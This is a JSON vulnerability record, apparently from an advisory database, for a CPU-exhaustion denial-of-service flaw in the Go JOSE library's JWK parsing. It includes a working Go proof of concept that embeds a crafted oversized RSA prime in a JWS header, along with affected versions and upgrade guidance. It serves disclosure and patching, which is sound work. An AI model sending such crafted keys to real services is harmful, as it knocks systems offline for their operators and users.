{"id":"CVE-2026-116587","aliases":["GHSA-mgcc-cww5-fp2q"],"title":"Go JOSE: DoS when parsing JWKs that contain RSA keys","summary":"Go JOSE: DoS when parsing JWKs that contain RSA keys","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"go-jose","product":"github.com/go-jose/go-jose/v4","ecosystem":"go","affected":["github.com/go-jose/go-jose/v4 < 4.1.6","github.com/go-jose/go-jose/v3 <= 3.0.5"],"patched":["github.com/go-jose/go-jose/v4 4.1.6"],"published":"2026-10-27","updated":"2026-10-27","sourceUpdated":"2026-10-27T19:15:23.147827328Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-mgcc-cww5-fp2q","references":[{"url":"https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116587"},{"url":"https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230"},{"url":"https://github.com/go-jose/go-jose"},{"url":"https://github.com/go-jose/go-jose/releases/tag/v4.1.6"},{"url":"https://github.com/advisories/GHSA-mgcc-cww5-fp2q"}],"tags":["osv","go","ghsa","cve.org"],"epss":0.00366,"epssPercentile":0.30359,"ssvc":{"exploitation":"none","automatable":"yes","technicalImpact":"partial","timestamp":"2026-10-27T13:45:58.881401Z"},"cwe":["CWE-407","CWE-770"],"ingestedAt":"2026-10-27T16:11:59.456Z","slug":"CVE-2026-116587","body":"## Overview\n\n### Summary\n\nA crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.\n\n### Details\n\ngo-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.\n\nhttps://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700\n\n### Proof of concept\n\nNo special configuration of go-jose is required to reproduce this vulnerability.\n\n```go\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/go-jose/go-jose/v4\"\n)\n\nfunc main() {\n\t// The RSA parameters can be complete junk. The CPU cost is in validating them.\n\tprimeBits := 16384\n\tp := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))\n\tp.SetBit(p, 0, 1)\n\tn := new(big.Int).Lsh(big.NewInt(1), 2048)\n\te := big.NewInt(65537)\n\td := big.NewInt(3)\n\tq := big.NewInt(3)\n\n\tjwk := map[string]string{\n\t\t\"kty\": \"RSA\",\n\t\t\"n\":   base64.RawURLEncoding.EncodeToString(n.Bytes()),\n\t\t\"e\":   base64.RawURLEncoding.EncodeToString(e.Bytes()),\n\t\t\"d\":   base64.RawURLEncoding.EncodeToString(d.Bytes()),\n\t\t\"p\":   base64.RawURLEncoding.EncodeToString(p.Bytes()),\n\t\t\"q\":   base64.RawURLEncoding.EncodeToString(q.Bytes()),\n\t}\n\n\tprotected := map[string]any{\n\t\t\"alg\": \"RS256\",\n\t\t\"jwk\": jwk,\n\t}\n\tprotJSON, _ := json.Marshal(protected)\n\n\tjws := map[string]string{\n\t\t\"protected\": base64.RawURLEncoding.EncodeToString(protJSON),\n\t\t\"payload\":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),\n\t\t\"signature\": base64.RawURLEncoding.EncodeToString([]byte(\"not-a-real-signature\")),\n\t}\n\tjwsJSON, _ := json.Marshal(jws)\n\n\tstart := time.Now()\n\t_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})\n\telapsed := time.Since(start)\n\n\tfmt.Printf(\"prime bits: %d\\n\", primeBits)\n\tfmt.Printf(\"parse time: %s\\n\", elapsed)\n\tfmt.Printf(\"parse error: %v\\n\", err)\n}\n```\n\n### Impact\n\nDenial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.\n\n### Credits\n\nReported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)\n\n## Affected packages\n\n- `github.com/go-jose/go-jose/v4 < 4.1.6`\n- `github.com/go-jose/go-jose/v3 <= 3.0.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/go-jose/go-jose/v4 4.1.6`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}